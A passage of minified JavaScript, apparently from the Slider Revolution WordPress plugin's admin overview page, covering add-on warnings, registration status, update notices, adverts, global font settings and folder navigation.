#wpadminbar").on("mouseenter",function(){tpGS.gsap.to(["#wpadmin_overlay","#wpadmin_overlay_top"],.3,{opacity:0,ease:"power3.inOut"}),tpGS.gsap.to(["#adminmenuback","#adminmenuwrap","#wpadminbar"],.6,{filter:"grayscale(0%)",ease:"power3.inOut"})}).on("mouseleave",function(){tpGS.gsap.to(["#wpadmin_overlay","#wpadmin_overlay_top"],.3,{opacity:1,ease:"power3.inOut"}),tpGS.gsap.to(["#adminmenuback","#adminmenuwrap","#wpadminbar"],.6,{filter:"grayscale(100%)",ease:"power3.inOut"})}),d(),s(),tpGS.gsap.to("#rs_overview_menu",1,{opacity:1,ease:"power3.out"})}(),RVS.F.updateDraw(),RVS.F.isActivated(),updateOVFilteredList(),updateSysChecks(),initBasics(),r(),RVS.F.handleDeactivatedwarning(),RVS.F.handleAddonsWarning(),RVS.F.activeNotActive(),RVS.ENV.updated&&RVS.F.welcome(),RVS.F.generateAttachmentMetaData(),checkAddOnVersions(),RVS.ENV.newTemplatesCounter=document.getElementById("new_templates_counter"),RVS.ENV.newAddonsCounter=document.getElementById("new_addons_counter");var e={i:0},i={i:0};void 0!==RVS.ENV.newTemplatesAmount&&RVS.ENV.newTemplatesAmount>0&&(tpGS.gsap.fromTo(e,Math.min(1.5,Math.max(.2,.02*RVS.ENV.newTemplatesAmount)),{i:0},{i:RVS.ENV.newTemplatesAmount,ease:"none",onUpdate:function(){RVS.ENV.newTemplatesCounter.innerHTML="+ "+Math.round(e.i)}}),RVS.ENV.newTemplatesCounter.style.display="block"),void 0!==RVS.ENV.newAddonsAmount&&RVS.ENV.newAddonsAmount>0&&(tpGS.gsap.fromTo(i,Math.min(1.5,Math.max(.2,.02*RVS.ENV.newAddonsAmount)),{i:0},{i:RVS.ENV.newAddonsAmount,ease:"none",onUpdate:function(){RVS.ENV.newAddonsCounter.innerHTML="+ "+Math.round(i.i)}}),RVS.ENV.newAddonsCounter.style.display="block");var t=RVS.F.getCookie("rs6_shortly_edited_slider")+"";if(void 0!==t&&t.length>0){RVS.F.setCookie("rs6_shortly_edited_slider","",0);var a=!1;for(var l in sliderLibrary.sliders)!1===a&&(a=sliderLibrary.sliders[l].id==t?sliderLibrary.sliders[l].parent:a);!1!==a&&-1!==a&&"-1"!==a&&RVS.F.changeOVToFolder(a)}RVS.F.notifications()},RVS.F.addonInstalledFromWarning=function(e,i){RVS.LIB.OBJ.addonsToInstall.splice(0,1),RVS.LIB.ADDONS[i].active=!0},RVS.F.installAddonOneByOne=function(){if(RVS.LIB.OBJ.addonsToInstall.length>0){var e=RVS.LIB.OBJ.addonsToInstall[0];RVS.F.ajaxRequest("activate_addon",{addon:e},function(i){void 0!==RVS.LIB.ADDONS&&void 0!==RVS.LIB.ADDONS[e]&&1==RVS.LIB.ADDONS[e].installed?(RVS.F.addonInstalledFromWarning(i,e),RVS.F.installAddonOneByOne()):(RVS.LIB.ADDONS[e].installed=!0,RVS.F.installAddonOneByOne())},void 0,void 0,RVS_LANG.installingaddon+'<br><span style="font-size:17px; line-height:25px;">'+RVS.LIB.OBJ.addonsToInstall[0]+"</span>")}else RVS.F.handleAddonsWarning(),RVS.F.notifications()},RVS.F.handleAddonsWarning=function(){if(RVS.ENV.activated){void 0===RVS.S.handleADDWAR&&(RVS.S.handleADDWAR=!0,RVS.C.addwarlist=document.getElementById("list_of_deactivated_addons"),RVS.DOC.on("click","#rbm_notactiveaddon_warning .rbm_close",function(){RVS.F.RSDialog.close(),RVS.S.addonWarningOpen=!1}),RVS.DOC.on("click",".de_add_fix",function(){RVS.LIB.OBJ.addonsToInstall=RVS.S.addFixRefList[this.dataset.fixref],RVS.F.installAddonOneByOne()}),RVS.DOC.on("click","#naa_install_all",function(){for(var e in RVS.LIB.OBJ.addonsToInstall=[],RVS.S.addFixRefList)if(RVS.S.addFixRefList.hasOwnProperty(e))for(var i in RVS.S.addFixRefList[e])RVS.S.addFixRefList[e].hasOwnProperty(i)&&-1==RVS.LIB.OBJ.addonsToInstall.indexOf(RVS.S.addFixRefList[e][i])&&RVS.LIB.OBJ.addonsToInstall.push(RVS.S.addFixRefList[e][i]);RVS.F.installAddonOneByOne()}),RVS.C.missingAddonLists=jQuery("#list_of_deactivated_addons").RSScroll({wheelPropagation:!0,suppressScrollX:!0,minScrollbarLength:100}));var e=RVS.F.createNotActivatedAddonsList();""!==e?(RVS.C.addwarlist.innerHTML=e,RVS.F.showAddonWarning(),RVS.C.missingAddonLists.RSScroll("update")):RVS.S.addonWarningOpen&&(RVS.S.addonWarningOpen=!1,RVS.F.RSDialog.close())}},RVS.F.createNotActivatedAddonsList=function(){var e,i,r,t,s="",d=0;for(e in RVS.S.addFixRefList={},sliderLibrary.sliders)if(d++,sliderLibrary.sliders.hasOwnProperty(e)&&void 0!==sliderLibrary.sliders[e].addons&&0!=sliderLibrary.sliders[e].addons.length){for(i in r="",t=0,RVS.S.addFixRefList[d]=[],sliderLibrary.sliders[e].addons)sliderLibrary.sliders[e].addons.hasOwnProperty(i)&&null!=RVS.LIB.ADDONS[sliderLibrary.sliders[e].addons[i]]&&(RVS.LIB.ADDONS[sliderLibrary.sliders[e].addons[i]].active&&RVS.LIB.ADDONS[sliderLibrary.sliders[e].addons[i]].installed||(r+=(t>0?", ":"")+RVS.LIB.ADDONS[sliderLibrary.sliders[e].addons[i]].title,RVS.S.addFixRefList[d].push(sliderLibrary.sliders[e].addons[i]),t++));""!=r&&(r.length>34&&(r=r.substring(0,31)+"..."),s+='<div class="deactivated_addon">',s+='<div class="de_add_stitle">'+sliderLibrary.sliders[e].alias+"</div>",s+='<div class="de_add_needs">'+RVS_LANG.needsd+"</div>",s+='<div class="de_add_needs_adds">'+r+"</div>",s+='<div class="de_add_fix" data-fixref="'+d+'">'+RVS_LANG.fix+"</div>",s+="</div>")}return s},RVS.F.showAddonWarning=function(){RVS.F.RSDialog.create({modalid:"#rbm_notactiveaddon_warning",bgopacity:.25}),RVS.S.addonWarningOpen=!0},RVS.F.handleDeactivatedwarning=function(){void 0===RVS.S.handleDEWAR&&(RVS.S.handleDEWAR=!0,RVS.DOC.on("click","#rbm_notactive_warning",function(){RVS.F.ajaxRequest("close_deregister_popup",{},function(e){},void 0,void 0,void 0,!0)}),RVS.ENV.deregisterPopup&&RVS.F.showDeactivatedWarning())},RVS.F.scrollToOvRegister=function(){s();var e={val:window.scroll_top};tpGS.gsap.to(e,.6,{val:window.ov_scroll_targets[2].top-200,onUpdate:function(){RVS.WIN.scrollTop(e.val)},ease:"power3.out"}),s()},RVS.F.showDeactivatedWarning=function(){RVS.F.RSDialog.create({modalid:"#rbm_notactive_warning",bgopacity:.25}),null==RVS.S.pwcandreg&&(RVS.DOC.on("click","#pb_closeandregister",function(){RVS.F.RSDialog.close(),RVS.F.scrollToOvRegister()}),RVS.DOC.on("click","#rbm_notactive_warning .rbm_close",function(){RVS.F.RSDialog.close()}),RVS.S.pwcandreg=!0)},RVS.F.getBackupList=function(){return RVS.F.ajaxRequest("get_v5_slider_list",{},function(e){e.success?console.log(e.slider):console.log("Response Error")},!1,!1,void 0,!0),"Getting Slide List from Backup Database..."},RVS.F.reImportBackup=function(e){return RVS.F.ajaxRequest("reimport_v5_slider",{id:e},function(e){console.log(e)},!1,!1,void 0,!0),"Importing Slider "+e+" from the Backup Database..."},RVS.F.setObjBg=function(e,i){var r=void 0!==e.bg.src&&e.bg.src.length>3?e.bg.src:RVS.ENV.plugin_url+"admin/assets/images/sources/"+e.source+".png",t=void 0!==e.bg.style?e.bg.style:{};switch(Array.isArray(t)&&(t=RVS.F.toObject(t)),e.bg.type){case"image":void 0!==t&&void 0!==t.css?t.css.backgroundImage="url("+r+")":void 0!==t&&(t.backgroundImage="url("+r+")"),tpGS.gsap.set(i,t);break;case"color":case"colored":case"solid":var s=window.RSColor.get(t["background-color"]);s.indexOf("gradient")>=0?tpGS.gsap.set(i,{backgroundImage:s}):tpGS.gsap.set(i,{backgroundColor:s});break;case"transparent":tpGS.gsap.set(i,{backgroundImage:"url("+RVS.ENV.plugin_url+"admin/assets/images/sources/"+e.source+".png)",backgroundRepeat:"no-repeat",backgroundSize:"cover"})}},RVS.F.notifications=function(){var e={0:"",1:"",2:""},i=2,r=jQuery("#rso_menu_notices"),t=document.getElementById("rs_notices_wrapper"),s=document.getElementById("rs_notice_bell"),d=document.getElementById("rs_notice_counter"),a=document.getElementById("rs_notice_the_bell"),l=new Array;t.innerHTML="",RVS.ENV.notices=void 0===RVS.ENV.notices?new Array:RVS.ENV.notices,RVS.ENV.noticeCache=void 0===RVS.ENV.noticeCache?RVS.ENV.notices.slice():RVS.ENV.noticeCache,RVS.ENV.notices=RVS.ENV.noticeCache.slice(),"true"!==RVS.ENV.activated&&!0!==RVS.ENV.activated&&RVS.ENV.notices.push({function:"registerPlugin",additional:[],code:"INTERN",disable:!0,icon:"style",is_global:!1,text:RVS_LANG.notRegNoAll,type:1}),void 0!==RVS.ENV.addOns_to_updateArray&&RVS.ENV.addOns_to_updateArray.length>0&&RVS.ENV.notices.push({function:"checkAddOnVersions",additional:[],code:"INTERN",disable:!0,icon:"extension",is_global:!1,text:RVS_LANG.addonsmustbeupdated,type:0}),RVS.F.compareVersion(RVS.ENV.latest_version,RVS.ENV.revision)>0&&RVS.ENV.notices.push({function:"updatePluginNow",additional:[],code:"INTERN",disable:!0,icon:"new_releases",is_global:!1,text:RVS_LANG.newVersionAvailable,type:1}),RVS.F.createNotActivatedAddonsList().length>0&&RVS.ENV.notices.push({function:"fixMissingAddons",additional:[],code:"INTERN",disable:!0,icon:"new_releases",is_global:!1,text:RVS_LANG.fixMissingAddons,type:1});var o=!1;for(var n in RVS.LIB.ADDONS)o||RVS.LIB.ADDONS[n].available>RVS.LIB.ADDONS[n].installed&&(o=!0,RVS.ENV.notices.push({function:"addonNotUptodate",additional:[],code:"INTERN",disable:!0,icon:"extension",is_global:!1,text:RVS_LANG.someAddonnewVersionAvailable,type:1}));var c=0;for(var n in RVS.S.advert=void 0===RVS.S.advert?[]:RVS.S.advert,RVS.ENV.notices)if("3"!==RVS.ENV.notices[n].type&&c++,"2"===RVS.ENV.notices[n].type&&l.push(RVS.ENV.notices[n].code),"3"!==RVS.ENV.notices[n].type){var u=void 0!==RVS.ENV.notices[n].function&&RVS.ENV.notices[n].function.length>0?"notification_function_"+RVS.ENV.notices[n].function:"no_notification_function";e[RVS.ENV.notices[n].type]+='<li data-code="'+RVS.ENV.notices[n].code+'" class="'+u+" notice_level_"+RVS.ENV.notices[n].type+'"><i class="material-icons">'+RVS.ENV.notices[n].icon+"</i>"+RVS.ENV.notices[n].text+"</li>",i=i>parseInt(RVS.ENV.notices[n].type)?parseInt(RVS.ENV.notices[n].type):i}else{var p=!1;for(var _ in RVS.S.advert)RVS.S.advert[_].code==RVS.ENV.notices[n].code&&(p=!0);p||RVS.S.advert.push(jQuery.extend({},!0,RVS.ENV.notices[n]))}if(c>0){if(r.show(),e[0].length>0&&(t.innerHTML+=e[0]),e[1].length>0&&(t.innerHTML+=e[1]),e[2].length>0&&(t.innerHTML+=e[2]),s.classList.remove("notice_level_1"),s.classList.remove("notice_level_2"),s.classList.remove("notice_level_3"),d.classList.remove("notice_level_1"),d.classList.remove("notice_level_2"),d.classList.remove("notice_level_3"),s.className+=" notice_level_"+i,d.className+=" notice_level_"+i,d.innerHTML=c,t.innerHTML.length>0&&l.length>0&&(t.innerHTML+='<li id="remove_notifications" class="notice_level_2"><i class="material-icons">close</i>'+RVS_LANG.dismissmessages+"</li>"),jQuery(".notification_function_checkAddOnVersions").click(checkAddOnVersions),jQuery(".notification_function_registerPlugin").on("click",function(){RVS.F.scrollToOvRegister()}),jQuery(".notification_function_fixMissingAddons").on("click",function(){RVS.F.handleAddonsWarning()}),jQuery(".notification_function_addonNotUptodate").on("click",function(){RVS.S.addonPrefilter="action",RVS.F.openAddonModal()}),jQuery(".notification_function_updatePluginNow").on("click",function(){!0===RVS.ENV.activated?RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"update",title:RVS_LANG.updateplugin,maintext:RVS_LANG.areyousureupdateplugin,subtext:RVS_LANG.updatingtakes,do:{icon:"check_circle",text:RVS_LANG.updatenow,event:"updateThePlugin"},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0}):RVS.F.showRegisterSliderInfo()}),jQuery("#remove_notifications").on("click",function(){RVS.F.ajaxRequest("dismiss_dynamic_notice",{id:l},function(e){},!1,!1,void 0,!0)}),void 0===RVS.S.noticesListener){RVS.S.noticesListener=!0;var S=tpGS.gsap.timeline({repeat:-1});tpGS.CustomWiggle.create("myWiggle",{wiggles:8,type:"uniform"}),S.add(tpGS.gsap.to("#rs_notice_the_bell",.5,{transformOrigin:"50% 0%",x:5,rotationZ:10,ease:"myWiggle",onComplete:function(){a.innerHTML="notifications"},onStart:function(){a.innerHTML="notifications_active"}}),2)}}else r.hide();if(void 0!==RVS.S.advert&&RVS.S.advert.length>0)for(var v in RVS.S.advert)RVS.S.advert[v].id=void 0===RVS.S.advert[v].id?"rs_advert_"+Math.round(1e7*Math.random()):RVS.S.advert[v].id,null!==RVS.S.advert[v].container&&void 0!==RVS.S.advert[v].container||(jQuery("#rs_welcome_h3").after('<div style="display:block;position:relative;" id="'+RVS.S.advert[v].id+'"></div>'),RVS.S.advert[v].container=document.getElementById(RVS.S.advert[v].id),RVS.S.advert[v].container.innerHTML=RVS.S.advert[v].text,RVS.S.advert[v].mwrap=RVS.S.advert[v].container.getElementsByTagName("RS-MODULE-WRAP"),void 0===RVS.S.advert[v].mwrap[0]&&(RVS.S.advert[v].mwrap=RVS.S.advert[v].container),jQuery(RVS.S.advert[v].mwrap).append('<div id="rs_close_advert_'+v+'" data-ai="'+v+'" class="rs_close_advert" ><i class="material-icons">close</i>'+RVS_LANG.closeNews+"</div>"),RVS.S.advert[v].revmodule=RVS.S.advert[v].container.getElementsByTagName("RS-MODULE")[0],void 0!==RVS.S.advert[v].revmodule?(RVS.S.advert[v].rsoptions=JSON.parse(RVS.S.advert[v].script),jQuery("#"+RVS.S.advert[v].revmodule.id).show().revolutionInit(RVS.S.advert[v].rsoptions)):RVS.S.advert[v].mwrap.style.marginTop="50px",tpGS.gsap.fromTo(jQuery("#rs_close_advert_"+v),1,{opacity:0},{opacity:1,delay:2}),tpGS.gsap.set(RVS.S.advert[v].mwrap,{boxShadow:"0px 0px 0px 0px rgba(0,0,0,0.2)"}),tpGS.gsap.to(RVS.S.advert[v].mwrap,1,{boxShadow:"0px 0px 20px 10px rgba(0,0,0,0.2)",delay:2}),jQuery("#rs_close_advert_"+v).on("click",function(){tpGS.gsap.to(RVS.S.advert[this.dataset.ai].mwrap,1,{marginTop:0,marginBottom:0,overflow:"hidden",height:0,ease:"power3.inOut",onComplete:function(){RVS.S.advert[this.dataset.ai].container.innerHTML=""}}),tpGS.gsap.to(RVS.S.advert[this.dataset.ai].container,1,{autoAlpha:0});var e=new Array;e.push(RVS.S.advert[this.dataset.ai].code),RVS.F.ajaxRequest("dismiss_dynamic_notice",{id:e},function(e){},!1,!1,void 0,!0)}))},RVS.F.welcome=function(){RVS.F.RSDialog.create({modalid:"rbm_welcomeModal",bgopacity:.85}),jQuery("#rbm_welcomeModal .rbm_close").click(RVS.F.RSDialog.close),RVS.ENV.activated?jQuery("#open_welcome_register_form").click(RVS.F.RSDialog.close):jQuery("#open_welcome_register_form").click(RVS.F.showRegisterSliderInfo)},RVS.F.changeOVToFolder=function(e){sliderLibrary.selectedFolder=e,resetAllOVFilters(),updateOVFilteredList()},RVS.F.getOVSliderIndex=function(e){var i=-1;for(var r in sliderLibrary.sliders)sliderLibrary.sliders.hasOwnProperty(r)&&sliderLibrary.sliders[r].id==e&&(i=r);return i},RVS.F.getOVSlideIndex=function(e,i){var r=-1;for(var t in sliderLibrary.slides[i])sliderLibrary.slides[i].hasOwnProperty(t)&&""+sliderLibrary.slides[i][t].id==""+e&&(r=t);return r},RVS.F.updateDraw=function(){RVS.F.compareVersion(RVS.ENV.latest_version,RVS.ENV.revision)>0?(jQuery("#available_version_icon").addClass("warning"),jQuery("#available_version_content").addClass("warning")):(jQuery("#available_version_icon").removeClass("warning"),jQuery("#available_version_content").removeClass("warning"))},RVS.F.isActivated=function(){"true"==RVS.ENV.activated||1==RVS.ENV.activated?(jQuery("#rs_register_to_unlock").text(RVS_LANG.premium_features_unlocked),jQuery("#purchasekey").val(RVS.ENV.code),RVS.ENV.allow_update?jQuery("#updateplugin").removeClass("halfdisabled").text(RVS_LANG.securityupdate):jQuery("#updateplugin").removeClass("halfdisabled").text(RVS_LANG.updateNow),jQuery("#activated_ornot_box").removeClass("not_activated").html('<i class="material-icons">done</i>'+RVS_LANG.registered),RVS.ENV.selling?jQuery("#activateplugin").text(RVS_LANG.deregisterKey):jQuery("#activateplugin").text(RVS_LANG.deregisterCode),RVS.ENV.selling?jQuery("#activateplugintitle").text(RVS_LANG.registeredlicensekey):jQuery("#activateplugintitle").text(RVS_LANG.registeredpurchasecode),jQuery("#purchasekey_wrap").addClass("activated"),jQuery(".activate_to_unlock").hide(),jQuery("#buynow_notregistered").hide()):(jQuery("#rs_register_to_unlock").text(RVS_LANG.register_to_unlock),jQuery("#purchasekey").val(),RVS.ENV.allow_update?jQuery("#updateplugin").removeClass("halfdisabled").text(RVS_LANG.securityupdate):jQuery("#updateplugin").addClass("halfdisabled").text(RVS_LANG.activateToUpdate),jQuery("#activated_ornot_box").addClass("not_activated").html('<i class="material-icons">do_not_disturb</i>'+RVS_LANG.notRegisteredNow),RVS.ENV.selling?jQuery("#activateplugin").text(RVS_LANG.registerKey):jQuery("#activateplugin").text(RVS_LANG.registerCode),RVS.ENV.selling?jQuery("#activateplugintitle").text(RVS_LANG.registerlicensekey):jQuery("#activateplugintitle").text(RVS_LANG.registerpurchasecode),jQuery("#purchasekey_wrap").removeClass("activated"),jQuery(".activate_to_unlock").show(),jQuery("#buynow_notregistered").show()),RVS.F.compareVersion(RVS.ENV.latest_version,RVS.ENV.revision)<=0&&!0!==RVS.ENV.allow_update?jQuery("#updateplugin").hide():jQuery("#updateplugin").show()},RVS.F.createNewFolder=function(e){a({keepOverlay:!1});var i=void 0!==e&&void 0!==e.foldername?{title:e.foldername}:{};-1!==sliderLibrary.selectedFolder&&(i.parentFolder=sliderLibrary.selectedFolder),RVS.F.ajaxRequest("create_slider_folder",i,function(i){i.folder.parent=sliderLibrary.selectedFolder,-1!==sliderLibrary.selectedFolder&&sliderLibrary.sliders[RVS.F.getOVSliderIndex(sliderLibrary.selectedFolder)].children.push(i.folder.id),i.success&&sliderLibrary.sliders.push(i.folder),resetAllOVFilters(),void 0!==e&&e.enter?(sliderLibrary.selectedFolder=i.folder.id,sliderLibrary.filters=buildModuleFilters()):(sliderLibrary.filters=buildModuleFilters(),jQuery("#slider_id_"+i.folder.id).addClass("selected")),i.success&&void 0!==e&&void 0!==e.callBack&&RVS.DOC.trigger(e.callBack,e.callBackParam)})};var e=function(e){var i='<div id="global_custom_font_row_'+e+'" class="global_custom_font_row">';return i+='<input type="text" style="width:180px; margin-right:20px;" data-r="globals.customFontList.'+e+'.family" class="easyinit globalinput" placeholder="ie. font-family-name">',i+='<input type="text" data-r="globals.customFontList.'+e+'.url" style="width:180px; margin-right:20px;" class="easyinit globalinput" placeholder="ie. https://customfont.css">',i+='<input type="text" style="width:180px; margin-right:20px;" data-r="globals.customFontList.'+e+'.weights" class="easyinit globalinput" placeholder="ie. 400,600,800">',i+='<div style="width:75px;margin-left:10px;display:inline-block"><input type="checkbox" class="easyinit globalinput" data-r="globals.customFontList.'+e+'.frontend"></div>',i+='<div style="width:75px;display:inline-block"><input type="checkbox" class="easyinit globalinput" data-r="globals.customFontList.'+e+'.backend"></div>',i+='<div data-todelete="'+e+'" class="deletecustomglobalfont basic_action_button onlyicon "><i class="material-icons">delete</i></div>',i+="</div>"},i=function(){var i,r="";for(RVS.S.glob_cus_fonts=void 0===RVS.S.glob_cus_fonts?jQuery("#global_custom_fonts"):RVS.S.glob_cus_fonts,i=0;i<RVS.SLIDER.globals.customFontList.length;i++)r+=e(i);RVS.S.glob_cus_fonts[0].innerHTML=r,RVS.C.rbgf=void 0===RVS.C.rbgf?jQuery("#rbm_globalfontsettings"):RVS.C.rbgf,RVS.F.initOnOff(RVS.C.rbgf),RVS.F.updateEasyInputs({container:RVS.C.rbgf,path:"",trigger:"init"})},r=function(e){void 0===RVS.C.trust&&(RVS.C.trust=document.getElementById("register_trustpilot_wrap"),RVS.DOC.on("click","#trust_closer, #trustpilotlink",function(){RVS.C.trust.dataset.state="close",RVS.F.ajaxRequest("deactivate_trustpilot",{},function(e){r("close")},void 0,void 0,void 0,!0)})),RVS.ENV.activated?void 0===e&&""===RVS.C.trust.dataset.state||void 0===RVS.C.trust.dataset.state?RVS.C.trust.style.display="block":"show"===RVS.C.trust.dataset.state||"show"===e?(RVS.C.trust.style.display="block",tpGS.gsap.fromTo(RVS.C.trust,.3,{marginBottom:0,paddingTop:0,paddingBottom:0,opacity:0,scaleY:0,overflow:"hidden"},{marginBottom:"100px",paddingTop:"30px",paddingBottom:"30px",opacity:1,scaleY:1}),RVS.C.trust.dataset.state="show"):"close"===RVS.C.trust.dataset.state||"close"===e?(tpGS.gsap.to(RVS.C.trust,.3,{marginBottom:0,paddingTop:0,paddingBottom:0,opacity:0,scaleY:0,overflow:"hidden",onComplete:function(){RVS.C.trust.style.display="none"}}),RVS.C.trust.dataset.state="close"):RVS.C.trust.style.display="none":RVS.C.trust.style.display="none"};function t(){for(var e in sliderLibrary.slidesOrder=void 0===sliderLibrary.slidesOrder?{}:sliderLibrary.slidesOrder,sliderLibrary.slidesOrder[sliderLibrary.selectedSlider]=new Array(500),sliderLibrary.slides[sliderLibrary.selectedSlider])sliderLibrary.slides[sliderLibrary.selectedSlider].hasOwnProperty(e)&&(sliderLibrary.slidesOrder[sliderLibrary.selectedSlider][parseInt(sliderLibrary.slides[sliderLibrary.selectedSlider][e].order,0)]=sliderLibrary.slides[sliderLibrary.selectedSlider][e].id)}function s(){window.scroll_top=RVS.WIN.scrollTop();var e=-1;for(var i in window.cacheOMT=jQuery("#rs_overview").offset().top,tpGS.gsap.set(RVS.C.rsOVM,{top:Math.max(32,window.cacheOMT-window.scroll_top)}),window.ov_scroll_targets)window.ov_scroll_targets.hasOwnProperty(i)&&window.ov_scroll_targets[i].obj.length>0&&(window.ov_scroll_targets[i].top=window.ov_scroll_targets[i].obj.offset().top,!window.ov_scroll_targets[i].shown&&window.ov_scroll_targets[i].top<window.scroll_top+window.outerHeight-200&&(tpGS.gsap.to(window.ov_scroll_targets[i].obj[0],1,{autoAlpha:1,ease:"power3.inOut"}),window.ov_scroll_targets[i].shown=!0),window.ov_scroll_targets[i].height=window.ov_scroll_targets[i].obj.height(),window.scroll_top+200>=window.ov_scroll_targets[i].top&&window.scroll_top<=window.ov_scroll_targets[i].top+window.ov_scroll_targets[i].height&&(e=i));e=-1===e?window.ov_scroll_targets.length-1:e,jQuery(".rso_scrollmenuitem").removeClass("active"),window.ov_scroll_targets[e].menu.addClass("active")}function d(){tpGS.gsap.set("#rs_overview_menu",{width:jQuery("#wpbody").width()}),jQuery("#wpadmin_overlay").width(jQuery("#adminmenuback").width()),jQuery("#wpadmin_overlay_top").height(jQuery("#wpadminbar").height()),s()}function a(e){e.keepOverlay||jQuery(".overview_elements").removeClass("infocus"),jQuery(".rs_library_el_next").hide(),jQuery(".rs_library_element.selected").each(function(){var i=jQuery(this);void 0!==e.id&&i.id===e.id||(tpGS.gsap.to(i.find(".rsle_tbar"),.3,{y:"-100%",transformOrigin:"50% 0%",ease:"power3.out"}),i.removeClass("menuopen"),setTimeout(function(){window.lastBreacCrumbText="",jQuery("#rsl_bread_selected").html(window.lastBreacCrumbText),i.removeClass("selected")},300))})}function l(e,i){if(void 0===i||void 0===e)return e;if(Array.isArray(i))for(var r in i)i.hasOwnProperty(r)&&-1==jQuery.inArray(i[r],e)&&e.push(i[r]);else-1==jQuery.inArray(i,e)&&e.push(i);return e}function o(e){if(void 0!==e.array&&e.array.length>0)for(var i in e.array)if(e.array.hasOwnProperty(i)){var r=e.sanitize?new Option(RVS.F.sanitize_input(RVS.F.capitalise(e.array[i])),e.array[i],!1,e.old===e.array[i]):new Option(RVS.F.capitalise(e.array[i]),e.array[i],!1,e.old===e.array[i]);r.className="dynamicadded",e.select.append(r)}}function n(e,i){return null==e?i:e}function c(e){return"false"===e||!1===e||"off"===e||void 0===e||0===e||-1===e?e=!1:"true"!==e&&!0!==e&&"on"!==e||(e=!0),e}openGlobalSettings=function(){window.initGlobalSettings||(RVS.C.rbgf=void 0===RVS.C.rbgf?jQuery("#rbm_globalfontsettings"):RVS.C.rbgf,RVS.C.rbgs=void 0===RVS.C.rbgs?jQuery("#rbm_globalsettings"):RVS.C.rbgs,RVS.F.initOnOff(RVS.C.rbgs),window.revbuilder=void 0===window.revbuilder?{}:window.revbuilder,RVS.SLIDER=void 0===RVS.SLIDER?{}:RVS.SLIDER,RVS.F.ajaxRequest("get_global_settings",{},function(e){var i,r;e.success&&(RVS.SLIDER.globals=(i=null==(i=e.global_settings)?{}:i,(r={}).version=r.version<"6.0.0"?"6.0.0":r.version,r.permission=n(i.permission,"admin"),r.lang=n(i.lang,"default"),r.allinclude=c(n(i.allinclude,!0)),r.highContrast=c(n(i.highContrast,!1)),r.includeids=n(i.includeids,""),r.script=n(i.script,{footer:!0,defer:!0,full:!1,async:!0,ytapi:!0}),r.imgcrossOrigin=n(i.imgcrossOrigin,"unset"),r.lazyloaddata=n(i.lazyloaddata,""),r.fontdownload=n(i.fontdownload,"off"),r.script.footer=c(r.script.footer),r.script.defer=c(r.script.defer),r.script.async=c(r.script.async),r.script.full=c(r.script.full),r.fontawesomedisable=c(i.fontawesomedisable),r.onedpronmobile=c(i.onedpronmobile),r.forceLazyLoading=n(i.forceLazyLoading,"smart"),r.forceViewport=n(i.forceViewport,!0),r.lazyonbg=n(i.lazyonbg,!1),r.forcedViewportDistance=n(i.forcedViewportDistance,"-200px"),r.internalcaching=c(i.internalcaching),r.fonturl=n(i.fonturl,""),r.size=n(i.size,{desktop:1240,notebook:1024,tablet:778,mobile:480}),r.customfonts=n(i.customfonts,""),r.customFontList=n(i.customFontList,[{family:"",url:"",frontend:!1,backend:!0,weights:"200,300,400,500,600,700,800,900"}]),r),window.initGlobalSettings=!0,RVS.F.updateEasyInputs({container:RVS.C.rbgs,path:"",trigger:"init"}))}),RVS.DOC.on("click",".deletecustomglobalfont",function(e){RVS.SLIDER.globals.customFontList.splice(this.dataset.todelete,1),i()}),RVS.DOC.on("click","#add_new_custom_font",function(){RVS.SLIDER.globals.customFontList.length<9&&(RVS.S.glob_cus_fonts[0].innerHTML+=e(RVS.SLIDER.globals.customFontList.length),RVS.SLIDER.globals.customFontList.push({family:"",url:"",frontend:!1,backend:!0,weights:"200,300,400,500,600,700,800,900"}),RVS.F.initOnOff(RVS.C.rbgf),RVS.F.updateEasyInputs({container:RVS.C.rbgf,path:"",trigger:"init"}))}),RVS.DOC.on("click","#rs_gl_custom_fonts",function(){i(),RVS.F.RSDialog.create({modalid:"rbm_globalfontsettings",bgopacity:.85})}),RVS.DOC.on("click","#rbm_globalfontsettings .rbm_close",function(){RVS.F.RSDialog.close()}),jQuery("#rbm_globalsettings_savebtn").off("click").on("click",function(){RVS.F.ajaxRequest("update_global_settings",{global_settings:RVS.SLIDER.globals},function(e){RVS.F.RSDialog.close()})}),jQuery("#add_custom_global_fonts").off("click").on("click",function(){RVS.SLIDER.globals.customfonts[RVS.SLIDER.globals.customfonts.length]="",jQuery("#general_custom_fonts_list").append('<label_a></label_a><input type="text" class="easyinit globalinput" data-r="globals.customfonts.'+(RVS.SLIDER.globals.customfonts.length-1)+'" placeholder="font-family, style1, style2"><span class="linebreak"></span>')})),RVS.F.RSDialog.create({modalid:"rbm_globalsettings",bgopacity:.85})},initBasics=function(){jQuery("#newsletter_mail").val(""),tpGS.gsap.set(".plugin_inforow",{autoAlpha:0}),window.tp_twitter=initTwitter("twitter_timeline"),initFeatureSliders()},initFeatureSliders=function(){jQuery(".feature_slider").each(function(){jQuery(this).show().revolutionInit({jsliderType:"hero",visibilityLevels:"9999,9999,9999,9999",gridwidth:380,gridheight:330,perspective:600,perspectiveType:"global",lazyloaddata:"lazy-src",editorheight:"330",responsiveLevels:"9999,9999,9999,9999",progressBar:{disableProgressBar:!0},navigation:{onHoverStop:!1},viewPort:{enable:!0},fallbacks:{allowHTML5AutoPlayOnAndroid:!0}})})},drawOVOverview=function(e){e=void 0===e?{noanimation:!1}:e;var i=sliderLibrary.output.find(".overview_elements");if(i.find(".rsl_breadcrumb_wrap").remove(),-1!==sliderLibrary.selectedFolder||sliderLibrary.inSlideMode){var r='<div class="rsl_breadcrumb_wrap">';if(r+='<div class="rsl_breadcrumb" data-folderid="-1"><i class="material-icons">apps</i>'+RVS_LANG.simproot+"</div>",r+='<i class="rsl_breadcrumb_div material-icons">keyboard_arrow_right</i>',-1!==sliderLibrary.selectedFolder){for(var t="",d=sliderLibrary.selectedFolder;-1!==d;){var a=RVS.F.getOVSliderIndex(d);t='<div class="rsl_breadcrumb" data-folderid="'+d+'"><i class="material-icons">folder_open</i>'+sliderLibrary.sliders[a].title+'</div><i class="rsl_breadcrumb_div material-icons">keyboard_arrow_right</i>'+t,d=sliderLibrary.sliders[a].parent||-1}r+=t}sliderLibrary.inSlideMode&&(r+='<div class="rsl_breadcrumb" data-folderid="'+sliderLibrary.sliders[RVS.F.getOVSliderIndex(sliderLibrary.selectedSlider)].parent+'"><i 